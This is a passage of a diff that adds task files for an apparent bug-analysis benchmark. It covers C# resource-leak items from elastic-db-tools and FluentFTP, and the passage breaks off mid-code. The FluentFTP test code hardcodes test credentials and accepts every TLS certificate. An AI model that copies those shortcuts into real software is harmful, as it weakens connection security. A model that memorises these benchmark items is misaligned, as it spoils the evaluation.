+        /// <param name="connectionString">Connection string for connection. Must have credentials.</param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        /// <returns>A task encapsulating the SqlConnection</returns>
+        /// <remarks>All exceptions are reported via the returned task.</remarks>
+        [System.Diagnostics.CodeAnalysis.SuppressMessage(
+            "Microsoft.Reliability",
+            "CA2000:Dispose objects before losing scope",
+            Justification = "Caller will be responsible for disposal")]
+        internal async Task<SqlConnection> OpenConnectionAsync(
+            IShardProvider shardProvider,
+            string connectionString,
+            ConnectionOptions options = ConnectionOptions.Validate)
+        {
+            return await this.OpenConnectionAsync(
+                shardProvider,
+                new SqlConnectionInfo(connectionString, null),
+                options);
+        }
+
+        /// <summary>
+        /// Asynchronously opens a connection to the given shard provider.
+        /// </summary>
+        /// <param name="shardProvider">Shard provider containing shard to be connected to.</param>
+        /// <param name="connectionInfo">Connection info for connection. Must have credentials.</param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        /// <returns>A task encapsulating the SqlConnection</returns>
+        /// <remarks>All exceptions are reported via the returned task.</remarks>
+        [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Caller will be responsible for disposal")]
+        internal async Task<SqlConnection> OpenConnectionAsync(
+            IShardProvider shardProvider,
+            SqlConnectionInfo connectionInfo,
+            ConnectionOptions options = ConnectionOptions.Validate)
+        {
+            Debug.Assert(shardProvider != null, "Expecting IShardProvider.");
+            ExceptionUtils.DisallowNullArgument(connectionInfo, "connectionInfo");
+            ExceptionUtils.DisallowNullArgument(connectionInfo.ConnectionString, "connectionInfo.ConnectionString");
+
+            connectionInfo = this.ValidateAndPrepareConnectionString(
+                shardProvider,
+                connectionInfo);
+
+            ExceptionUtils.EnsureShardBelongsToShardMap(
+                this.Manager,
+                this,
+                shardProvider.ShardInfo,
+                "OpenConnectionAsync",
+                "Shard");
+
+            IUserStoreConnection conn = this.Manager.StoreConnectionFactory.GetUserConnection(connectionInfo);
+
+            Tracer.TraceInfo(
+                TraceSourceConstants.ComponentNames.ShardMap,
+                "OpenConnectionAsync", "Start; Shard: {0}; Options: {1}; ConnectionString: {2}",
+                shardProvider.ShardInfo.Location,
+                options,
+                connectionInfo.ConnectionString);
+
+            using (ConditionalDisposable<IUserStoreConnection> cd = new ConditionalDisposable<IUserStoreConnection>(conn))
+            {
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                await conn.OpenAsync().ConfigureAwait(false);
+
+                stopwatch.Stop();
+
+                // If validation is requested.
+                if ((options & ConnectionOptions.Validate) == ConnectionOptions.Validate)
+                {
+                    await shardProvider.ValidateAsync(this.StoreShardMap, conn.Connection).ConfigureAwait(false);
+                }
+
+                cd.DoNotDispose = true;
+
+                Tracer.TraceInfo(
+                TraceSourceConstants.ComponentNames.ShardMap,
+                "OpenConnectionAsync", "Complete; Shard: {0}; Options: {1}; Open Duration: {2}",
+                shardProvider.ShardInfo.Location,
+                options,
+                stopwatch.Elapsed);
+            }
+            
+            return conn.Connection;
+        }
+
+        /// <summary>
+        /// Gets the mapper. This method is used by OpenConnection and Lookup of V.
+        /// </summary>
+        /// <typeparam name="V">Shard provider type.</typeparam>
+        /// <returns>Appropriate mapper for the given shard map.</returns>
+        internal abstract IShardMapper<V> GetMapper<V>();
+
+        #region ICloneable<ShardMap>
+
+        /// <summary>
+        /// Clones the given shard map.
+        /// </summary>
+        /// <returns>A cloned instance of the shard map.</returns>
+        ShardMap ICloneable<ShardMap>.Clone()
+        {
+            return this.CloneCore();
+        }
+
+        /// <summary>
+        /// Clones the current shard map instance.
+        /// </summary>
+        /// <returns>Cloned shard map instance.</returns>
+        protected abstract ShardMap CloneCore();
+
+        #endregion ICloneable<ShardMap>
+
+        /// <summary>
+        /// Ensures that the provided connection string is valid and builds the connection string
+        /// to be used for DDR connection to the given shard provider.
+        /// </summary>
+        /// <param name="shardProvider">Shard provider containing shard to be connected to.</param>
+        /// <param name="connectionInfo">Input connection info.</param>
+        /// <returns>Connection string for DDR connection.</returns>
+        private SqlConnectionInfo ValidateAndPrepareConnectionString(
+            IShardProvider shardProvider,
+            SqlConnectionInfo connectionInfo)
+        {
+            Debug.Assert(shardProvider != null);
+            Debug.Assert(connectionInfo != null);
+            Debug.Assert(connectionInfo.ConnectionString != null);
+
+            // Devnote: If connection string specifies Active Directory authentication and runtime is not 
+            // .NET 4.6 or higher, then below call will throw.
+            SqlConnectionStringBuilder connectionStringBuilder = new SqlConnectionStringBuilder(connectionInfo.ConnectionString);
+
+            // DataSource must not be set.
+            if (!string.IsNullOrEmpty(connectionStringBuilder.DataSource))
+            {
+                throw new ArgumentException(
+                    StringUtils.FormatInvariant(
+                        Errors._ShardMap_OpenConnection_ConnectionStringPropertyDisallowed,
+                        "DataSource"),
+                    "connectionString");
+            }
+
+            // InitialCatalog must not be set.
+            if (!string.IsNullOrEmpty(connectionStringBuilder.InitialCatalog))
+            {
+                throw new ArgumentException(
+                    StringUtils.FormatInvariant(
+                        Errors._ShardMap_OpenConnection_ConnectionStringPropertyDisallowed,
+                        "Initial Catalog"),
+                    "connectionString");
+            }
+
+            // ConnectRetryCount must not be set (default value is 1)
+            if (ShardMapUtils.IsConnectionResiliencySupported && (int)connectionStringBuilder[ShardMapUtils.ConnectRetryCount] > 1)
+            {
+                throw new ArgumentException(
+                    StringUtils.FormatInvariant(
+                        Errors._ShardMap_OpenConnection_ConnectionStringPropertyDisallowed,
+                        ShardMapUtils.ConnectRetryCount),
+                    "connectionString");
+            }
+
+            // Verify that either UserID/Password or provided or integrated authentication is enabled.
+            SqlShardMapManagerCredentials.EnsureCredentials(connectionStringBuilder, "connectionString", connectionInfo.Credential);
+
+            Shard s = shardProvider.ShardInfo;
+
+            connectionStringBuilder.DataSource = s.Location.DataSource;
+            connectionStringBuilder.InitialCatalog = s.Location.Database;
+
+            // Append the proper post-fix for ApplicationName
+            connectionStringBuilder.ApplicationName = ApplicationNameHelper.AddApplicationNameSuffix(
+                connectionStringBuilder.ApplicationName,
+                this.ApplicationNameSuffix);
+
+            // Disable connection resiliency if necessary
+            if (ShardMapUtils.IsConnectionResiliencySupported)
+            {
+                connectionStringBuilder[ShardMapUtils.ConnectRetryCount] = 0;
+            }
+
+            return connectionInfo.CloneWithUpdatedConnectionString(connectionStringBuilder.ConnectionString);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource activityIdScope of type Microsoft.Azure.SqlDatabase.ElasticScale.ActivityIdScope in method "Task`1<!0> ShardMap.OpenConnectionForKeyAsync(TKey,String,SqlCredential,ConnectionOptions)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Task`1<!0> ShardMap.OpenConnectionForKeyAsync(TKey,String,SqlCredential,ConnectionOptions)
+
+### File:
+Src/ElasticScale.Client/ShardManagement/ShardMap/ShardMap.cs
+
+### Key:
+ShardMap.cs|OpenConnectionForKeyAsync|DOTNET_RESOURCE_LEAK
+
+### Hash:
+734eab8d252910f8b0908cfcb672f809
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2008/instruction.md b/inferredbugs-2008/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d1ca64e8001ce2f9c971f22adf823cfd19a4e73f
--- /dev/null
+++ b/inferredbugs-2008/instruction.md
@@ -0,0 +1,177 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** elastic-db-tools
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// Copyright (c) Microsoft. All rights reserved.
+// Licensed under the MIT license. See LICENSE file in the project root for full license information.
+
+using System;
+using System.Data.SqlClient;
+
+namespace Microsoft.Azure.SqlDatabase.ElasticScale.ShardManagement
+{
+    /// <summary>
+    /// Arguments used to create a <see cref="SqlConnection"/>.
+    /// </summary>
+    public  sealed class SqlConnectionInfo
+    {
+        /// <summary>
+        /// Gets the connection string.
+        /// </summary>
+        /// <remarks>
+        /// When creating <see cref="SqlConnection"/>, this value will be used for <see cref="SqlConnection.ConnectionString"/>.
+        /// </remarks>
+        internal string ConnectionString { get; private set; }
+
+        /// <summary>
+        /// Gets the secure SQL Credential.
+        /// </summary>
+        /// <remarks>
+        /// When creating <see cref="SqlConnection"/>, this value will be used for <see cref="SqlConnection.Credential"/>.
+        /// </remarks>
+        internal SqlCredential Credential { get; private set; }
+
+        /// <summary>
+        /// Gets the access token factory.
+        /// </summary>
+        /// <remarks>
+        /// When creating <see cref="SqlConnection"/>, this function will be used for <see cref="SqlConnection.AccessToken"/>.
+        /// </remarks>
+        internal Func<string> AccessTokenFactory { get; private set; }
+
+        /// <summary>
+        /// Creates an instance of <see cref="SqlConnectionInfo"/>.
+        /// </summary>
+        /// <param name="connectionString">The connection string.</param>
+        public static SqlConnectionInfo Create(string connectionString)
+        {
+            return new SqlConnectionInfo(connectionString, null, null);
+        }
+
+        /// <summary>
+        /// Creates an instance of <see cref="SqlConnectionInfo"/> with a secure credential.
+        /// </summary>
+        /// <param name="connectionString">The connection string.</param>
+        /// <param name="secureCredential">The secure SQL credential.</param>
+        public static SqlConnectionInfo CreateWithCredential(string connectionString, SqlCredential secureCredential)
+        {
+            return new SqlConnectionInfo(connectionString, secureCredential, null);
+        }
+
+        /// <summary>
+        /// Creates an instance of <see cref="SqlConnectionInfo"/> with a secure credential.
+        /// </summary>
+        /// <param name="connectionString">The connection string.</param>
+        /// <param name="accessTokenFactory">A function that returns a currently valid access token.</param>
+        public static SqlConnectionInfo CreateWithAccessTokenFactory(string connectionString, Func<string> accessTokenFactory)
+        {
+            return new SqlConnectionInfo(connectionString, null, accessTokenFactory);
+        }
+
+        /// <summary>
+        /// Creates an instance of <see cref="SqlConnectionInfo"/>.
+        /// </summary>
+        /// <param name="connectionString">The connection string.</param>
+        /// <param name="secureCredential">The secure SQL credential.</param>
+        /// <param name="accessTokenFactory">A function that returns an access token.</param>
+        internal SqlConnectionInfo(
+            string connectionString,
+            SqlCredential secureCredential = null,
+            Func<string> accessTokenFactory = null)
+        {
+            ExceptionUtils.DisallowNullArgument(connectionString, "connectionString");
+
+            this.ConnectionString = connectionString;
+            this.Credential = secureCredential;
+            this.AccessTokenFactory = accessTokenFactory;
+        }
+
+        internal SqlConnection CreateConnection()
+        {
+            SqlConnection conn = new SqlConnection
+            {
+                ConnectionString = ConnectionString,
+                Credential = Credential,
+            };
+
+            if (AccessTokenFactory != null)
+            {
+#if NET451
+                throw new NotSupportedException("AccessToken is not supported for this platform");
+#else
+                conn.AccessToken = AccessTokenFactory();
+#endif
+            }
+
+            return conn;
+        }
+
+        /// <summary>
+        /// Creates an instance of <see cref="SqlConnectionInfo"/> which has an updated connection string.
+        /// </summary>
+        /// <param name="connectionString">The new connection string</param>
+        /// <returns>The new connection info.</returns>
+        internal SqlConnectionInfo CloneWithUpdatedConnectionString(string connectionString)
+        {
+            return new SqlConnectionInfo(
+                connectionString,
+                this.Credential,
+                this.AccessTokenFactory);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type System.Data.SqlClient.SqlConnection, Leaked resource conn of type System.Data.SqlClient.SqlConnection in method "SqlConnection SqlConnectionInfo.CreateConnection()".
+
+### Severity:
+ERROR
+
+### Procedure:
+SqlConnection SqlConnectionInfo.CreateConnection()
+
+### File:
+Src/ElasticScale.Client/ShardManagement/SqlStore/SqlConnectionInfo.cs
+
+### Key:
+SqlConnectionInfo.cs|CreateConnection|DOTNET_RESOURCE_LEAK
+
+### Hash:
+dd938f86dcb7a94e0f7cf3215945ed70
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2030/instruction.md b/inferredbugs-2030/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..423ce1248525f22650fc000108d6fad8126f7669
--- /dev/null
+++ b/inferredbugs-2030/instruction.md
@@ -0,0 +1,630 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FluentFTP
+**Bug ID:** 21
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net;
+using System.Net.FtpClient;
+using System.Threading;
+using System.Collections.Generic;
+using System.Text.RegularExpressions;
+using System.Linq;
+using System.Threading.Tasks;
+
+namespace Tests {
+    /// <summary>
+    /// Torture test
+    /// </summary>
+    class Program {
+        static readonly string m_host = "localhost";
+        static readonly string m_user = "ftptest";
+        static readonly string m_pass = "ftptest";
+
+        static void Main(string[] args) {
+            FtpTrace.FlushOnWrite = true;
+            FtpTrace.AddListener(new ConsoleTraceListener());
+
+            try {
+                /*foreach (int i in new int[] {
+                     (int)FtpDataConnectionType.EPSV,
+                     (int)FtpDataConnectionType.EPRT,
+                     (int)FtpDataConnectionType.PASV,
+                     (int)FtpDataConnectionType.PORT
+                 }) {
+                     using (FtpClient cl = new FtpClient()) {
+                         cl.Credentials = new NetworkCredential(m_user, m_pass);
+                         cl.Host = m_host;
+                         cl.DataConnectionType = (FtpDataConnectionType)i;
+                         cl.Connect();
+                         Upload(cl);
+                         Download(cl);
+                         Delete(cl);
+                     }
+                 }*/
+
+                TestDisposeWithMultipleThreads();
+
+                //TestMODCOMP_PWD_Parser();
+                //TestDispose();
+                //TestHash();
+
+                //TestNameListing();
+                //TestOpenVMSParser();
+                // TestIISParser();
+                //GetMicrosoftFTPListing();
+                //TestReset();
+                //TestUTF8();
+
+                //TestDirectoryWithDots();
+
+                //TestUnixListParser();
+
+               // TestFileZillaKick();
+
+                //TestUnixList();
+                //TestNetBSDServer();
+
+               // TestConnectionFailure();
+            }
+            catch (Exception ex) {
+                Console.WriteLine(ex.ToString());
+            }
+
+            Console.WriteLine("--DONE--");
+            Console.ReadKey();
+        }
+
+        static void TestDisposeWithMultipleThreads() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "ftp.netbsd.org";
+                cl.Credentials = new NetworkCredential("ftp", "ftp");
+
+                Thread t1 = new Thread(() => {
+                    cl.GetListing();
+                });
+
+                Thread t2 = new Thread(() => {
+                    cl.Dispose();
+                });
+
+                t1.Start();
+                Thread.Sleep(500);
+                t2.Start();
+
+                t1.Join();
+                t2.Join();
+            }
+        }
+
+        static void TestConnectionFailure() {
+            try {
+                using (FtpClient cl = new FtpClient()) {
+                    cl.Credentials = new NetworkCredential("ftp", "ftp");
+                    cl.Host = "somefakehost";
+                    cl.ConnectTimeout = 5000;
+                    cl.Connect();
+                }
+            }
+            catch (Exception e) {
+                Console.WriteLine("Caught connection faillure: {0}", e.Message);
+            }
+        }
+
+        static void TestNetBSDServer() {
+            using (FtpClient client = new FtpClient()) {
+                client.Credentials = new NetworkCredential("ftp", "ftp");
+                client.Host = "ftp.netbsd.org";
+
+                foreach (FtpListItem item in client.GetListing(null, 
+                    FtpListOption.ForceList | FtpListOption.Modify | FtpListOption.DerefLinks)) {
+                    Console.WriteLine(item);
+
+                    if (item.Type == FtpFileSystemObjectType.Link && item.LinkObject != null)
+                        Console.WriteLine(item.LinkObject);
+                }
+            }
+        }
+
+        static void TestUnixList() {
+            using (FtpClient client = new FtpClient()) {
+                client.Credentials = new NetworkCredential("ftptest", "ftptest");
+                client.Host = "localhost";
+
+                Console.WriteLine("Connected!");
+                
+                FtpListItem[] items = client.GetListing("./TEST", FtpListOption.ForceList | FtpListOption.Modify);
+                DirectoryInfo ftproot = new DirectoryInfo(@"C:\FTPTEST\TEST");
+
+                foreach (DirectoryInfo dir in ftproot.GetDirectories()) {
+                    bool found = false;
+
+                    foreach (FtpListItem item in items) {
+                        if (item.Name.ToUpper() == dir.Name.ToUpper()) {
+                            found = true;
+                                                       
+                            if (item.Modified.ToString() != dir.LastWriteTime.ToString())
+                                throw new Exception(string.Format("The last write time for {0} is not right! FtpListItem: {1} FileInfo: {2}",
+                                   dir.Name, item.Modified.ToString(), dir.LastAccessTime.ToString()));
+                        }
+
+                        if (found)
+                            break;
+                    }
+
+                    if (!found) {
+                        throw new Exception(string.Format("Couldn't locate directory {0} in listing.", dir.Name));
+                    }
+                }
+
+                foreach (FileInfo file in ftproot.GetFiles()) {
+                    bool found = false;
+
+                    foreach (FtpListItem item in items) {
+                        if (item.Name == file.Name) {
+                            found = true;
+
+                            if (item.Modified.ToString() != file.LastWriteTime.ToString())
+                                throw new Exception(string.Format("The last write time for {0} is not right! FtpListItem: {1} FileInfo: {2}", 
+                                    file.Name, item.Modified.ToString(), file.LastAccessTime.ToString()));
+
+                            if (item.Size != file.Length)
+                                throw new Exception(string.Format("The file size for {0} is not right! FtpListItem: {1} FileInfo: {2}", 
+                                    file.Name, item.Size, file.Length));
+                        }
+
+                        if (found)
+                            break;
+                    }
+
+                    if (!found) {
+                        throw new Exception(string.Format("Couldn't locate file {0} in listing.", file.Name));
+                    }
+                }
+            }
+        }
+
+        static void TestFileZillaKick() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Host = "localhost";
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.EnableThreadSafeDataConnections = false;
+
+                if (cl.FileExists("TestFile.txt"))
+                    cl.DeleteFile("TestFile.txt");
+
+                try {
+                    Stream s = cl.OpenWrite("TestFile.txt");
+                    for (int i = 0; true; i++) {
+                        s.WriteByte((byte)i);
+                        Thread.Sleep(100);
+                    }
+
+                    //s.Close();
+                }
+                catch (FtpCommandException ex) {
+                    Console.WriteLine("Exception caught!");
+                    Console.WriteLine(ex.ToString());
+                }
+            }
+        }
+
+        static void TestUnixListParser() {
+            string[] sample = new string[] {
+                "drwxr-xr-x   7  user1 user1       512 Sep 27  2011 .",
+                "drwxr-xr-x  31 user1  user1      1024 Sep 27  2011 ..",
+                "lrwxrwxrwx   1 user1  user1      9 Sep 27  2011 data.0000 -> data.6460",
+                "drwxr-xr-x  10 user1  user1      512 Jun 29  2012 data.6460",
+                "lrwxrwxrwx   1 user1 user1       8 Sep 27  2011 sys.0000 -> sys.6460",
+                "drwxr-xr-x 133 user1  user1     4096 Jun 25 16:26 sys.6460"
+            };
+
+            foreach (string s in sample) {
+                FtpListItem item = FtpListItem.Parse("/", s, FtpCapability.NONE);
+
+                if (item != null)
+                    Console.WriteLine(item);
+            }
+        }
+
+        static void TestDirectoryWithDots() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+                // FTP server set to timeout after 5 seconds.
+                //Thread.Sleep(6000);
+
+                cl.GetListing("Test.Directory", FtpListOption.ForceList);
+                cl.SetWorkingDirectory("Test.Directory");
+                cl.GetListing(null, FtpListOption.ForceList);
+            }
+        }
+
+        static void TestDispose() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+                // FTP server set to timeout after 5 seconds.
+                //Thread.Sleep(6000);
+
+                foreach (FtpListItem item in cl.GetListing()) {
+
+                }
+            }
+        }
+
+        static void TestHash() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+
+                Console.WriteLine("Supported HASH algorithms: {0}", cl.HashAlgorithms);
+                Console.WriteLine("Current HASH algorithm: {0}", cl.GetHashAlgorithm());
+
+                foreach (FtpHashAlgorithm alg in Enum.GetValues(typeof(FtpHashAlgorithm))) {
+                    if (alg != FtpHashAlgorithm.NONE && cl.HashAlgorithms.HasFlag(alg)) {
+                        FtpHash hash = null;
+
+                        cl.SetHashAlgorithm(alg);
+                        hash = cl.GetHash("LICENSE.TXT");
+
+                        if (hash.IsValid) {
+                            Debug.Assert(hash.Verify(@"C:\FTPTEST\LICENSE.TXT"), "The computed hash didn't match or the hash object was invalid!");
+                        }
+                    }
+                }
+            }
+        }
+
+        static void TestReset() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftptest", "ftptest");
+                cl.Host = "localhost";
+                cl.Connect();
+
+                using (Stream istream = cl.OpenRead("LICENSE.TXT", 10)) {
+                    istream.Close();
+                }
+            }
+        }
+
+        static void GetMicrosoftFTPListing() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential("ftp", "ftp");
+                cl.Host = "ftp.microsoft.com";
+                cl.Connect();
+
+                Console.WriteLine(cl.Capabilities);
+
+                foreach (FtpListItem item in cl.GetListing(null, FtpListOption.Modify)) {
+                    Console.WriteLine(item.Modified);
+                }
+            }
+        }
+
+        static void TestIISParser() {
+            string[] sample = new string[] {
+                "03-07-13  10:02AM                  901 File01.xml",
+                "03-07-13  10:03AM                  921 File02.xml",
+                "03-07-13  10:04AM                  904 File03.xml",
+                "03-07-13  10:04AM                  912 File04.xml",
+                "03-08-13  11:10AM                  912 File05.xml",
+                "03-15-13  02:38PM                  912 File06.xml",
+                "03-07-13  10:16AM                  909 File07.xml",
+                "03-07-13  10:16AM                  899 File08.xml",
+                "03-08-13  10:22AM                  904 File09.xml",
+                "03-25-13  07:27AM                  895 File10.xml",
+                "03-08-13  10:22AM                 6199 File11.txt",
+                "03-25-13  07:22AM                31444 File12.txt",
+                "03-25-13  07:24AM                24537 File13.txt"
+            };
+
+            foreach (string s in sample) {
+                FtpListItem item = FtpListItem.Parse("/", s, 0);
+
+                if (item != null) {
+                    Console.WriteLine(item.Modified);
+                    //Console.WriteLine(item);
+                }
+            }
+        }
+
+        static void TestOpenVMSParser() {
+            string[] sample = new string[] {
+                "411_4114.TXT;1             11  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CC_NAME_4114.TXT;1    30  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CC_NUM_4114.TXT;1     30  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CELL_NAME_4114.TXT;1 113  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "ACT_CELL_NUM_4114.TXT;1  113  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "AGCY_BUDG_4114.TXT;1      63  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "CELL_SUMM_4114.TXT;1     125  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "CELL_SUMM_CHART_4114.PDF;2 95  21-MAR-2012 10:58 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114.TXT;1          17472  21-MAR-2012 15:17 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_000.TXT;1        777  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_001.TXT;1        254  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_003.TXT;1         21  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_006.TXT;1         22  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_101.TXT;1        431  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_121.TXT;1       2459  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_124.TXT;1       4610  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "DET_4114_200.TXT;1        936  21-MAR-2012 15:18 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)",
+                "TEL_4114.TXT;1           1178  21-MAR-2012 15:19 [TBMS,TBMS_BOSS] (RWED,RWED,,RE)"
+            };
+
+            foreach (string s in sample) {
+                FtpListItem item = FtpListItem.Parse("disk$user520:[4114.2012.Jan]", s, 0);
+
+                if (item != null) {
+                    Console.WriteLine(item.Modified);
+                    //Console.WriteLine(item);
+                }
+            }
+        }
+
+        static void TestMODCOMP_PWD_Parser() {
+            string response = "PWD = ~TNA=AMP,VNA=VOL03,FNA=U-ED-B2-USL";
+            Match m;
+
+            if ((m = Regex.Match(response, "PWD = (?<pwd>.*)")).Success)
+                Console.WriteLine("PWD: {0}", m.Groups["pwd"].Value);
+        }
+
+        static void TestNameListing() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential(m_user, m_pass);
+                cl.Host = "127.0.0.1";
+                cl.ValidateCertificate += OnValidateCertificate;
+                cl.DataConnectionType = FtpDataConnectionType.PASV;
+                //cl.EncryptionMode = FtpEncryptionMode.Explicit;
+                //cl.SocketPollInterval = 5000;
+                cl.Connect();
+
+                //Console.WriteLine("Sleeping for 10 seconds to force timeout.");
+                //Thread.Sleep(10000);
+
+                foreach (FtpListItem item in cl.GetListing(null, FtpListOption.SizeModify | FtpListOption.ForceNameList)) {
+                    Console.WriteLine(item.Modified.Kind);
+                    Console.WriteLine(item.Modified);
+                }
+            }
+        }
+
+        static FtpClient Connect() {
+            List<Thread> threads = new List<Thread>();
+            FtpClient cl = new FtpClient();
+
+            cl.ValidateCertificate += OnValidateCertificate;
+            //cl.EncryptionMode = FtpEncryptionMode.Explicit;
+
+            for (int i = 0; i < 10; i++) {
+                int count = i;
+
+                Thread t = new Thread(new ThreadStart(delegate() {
+                    cl.Credentials = new NetworkCredential(m_user, m_pass);
+                    cl.Host = m_host;
+                    cl.Connect();
+
+                    for (int j = 0; j < 10; j++)
+                        cl.Execute("NOOP");
+
+                    if (count % 2 == 0)
+                        cl.Disconnect();
+                }));
+
+                t.Start();
+                threads.Add(t);
+            }
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+                threads.RemoveAt(0);
+            }
+
+            return cl;
+        }
+
+        static void OnValidateCertificate(FtpClient control, FtpSslValidationEventArgs e) {
+            e.Accept = true;
+        }
+
+        static void Upload(FtpClient cl) {
+            string root = @"..\..\..";
+            List<Thread> threads = new List<Thread>();
+
+            foreach (string s in Directory.GetFiles(root, "*", SearchOption.AllDirectories)) {
+                string file = s;
+
+                if (file.Contains(@"\.git"))
+                    continue;
+
+                Thread t = new Thread(new ThreadStart(delegate() {
+                    DoUpload(cl, root, file);
+                }));
+
+                t.Start();
+                threads.Add(t);
+            }
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+                threads.RemoveAt(0);
+            }
+        }
+
+        static void DoUpload(FtpClient cl, string root, string s) {
+            string path = Path.GetDirectoryName(s).Replace(root, "");
+            string name = Path.GetFileName(s);
+
+            if (!cl.DirectoryExists(path))
+                cl.CreateDirectory(path, true);
+            else if (cl.FileExists(string.Format("{0}/{1}", path, name)))
+                cl.DeleteFile(string.Format("{0}/{1}", path, name));
+
+            using (
+                Stream istream = new FileStream(s, FileMode.Open, FileAccess.Read),
+                        ostream = cl.OpenWrite(s.Replace(root, ""))) {
+                byte[] buf = new byte[8192];
+                int read = 0;
+
+                try {
+                    while ((read = istream.Read(buf, 0, buf.Length)) > 0) {
+                        ostream.Write(buf, 0, read);
+                    }
+                }
+                finally {
+                    ostream.Close();
+                    istream.Close();
+                }
+
+                if (cl.HashAlgorithms != FtpHashAlgorithm.NONE) {
+                    Debug.Assert(cl.GetHash(s.Replace(root, "")).Verify(s), "The computed hashes don't match!");
+                }
+            }
+
+            /*if (!cl.GetHash(s.Replace(root, "")).Verify(s))
+                throw new Exception("Hashes didn't match!");*/
+        }
+
+        static void Download(FtpClient cl) {
+            List<Thread> threads = new List<Thread>();
+
+            Download(threads, cl, "/");
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+
+                lock (threads) {
+                    threads.RemoveAt(0);
+                }
+            }
+        }
+
+        static void Download(List<Thread> threads, FtpClient cl, string path) {
+            foreach (FtpListItem item in cl.GetListing(path)) {
+                if (item.Type == FtpFileSystemObjectType.Directory)
+                    Download(threads, cl, item.FullName);
+                else if (item.Type == FtpFileSystemObjectType.File) {
+                    string file = item.FullName;
+
+                    Thread t = new Thread(new ThreadStart(delegate() {
+                        DoDownload(cl, file);
+                    }));
+
+                    t.Start();
+
+                    lock (threads) {
+                        threads.Add(t);
+                    }
+                }
+            }
+        }
+
+        static void DoDownload(FtpClient cl, string file) {
+            using (Stream s = cl.OpenRead(file)) {
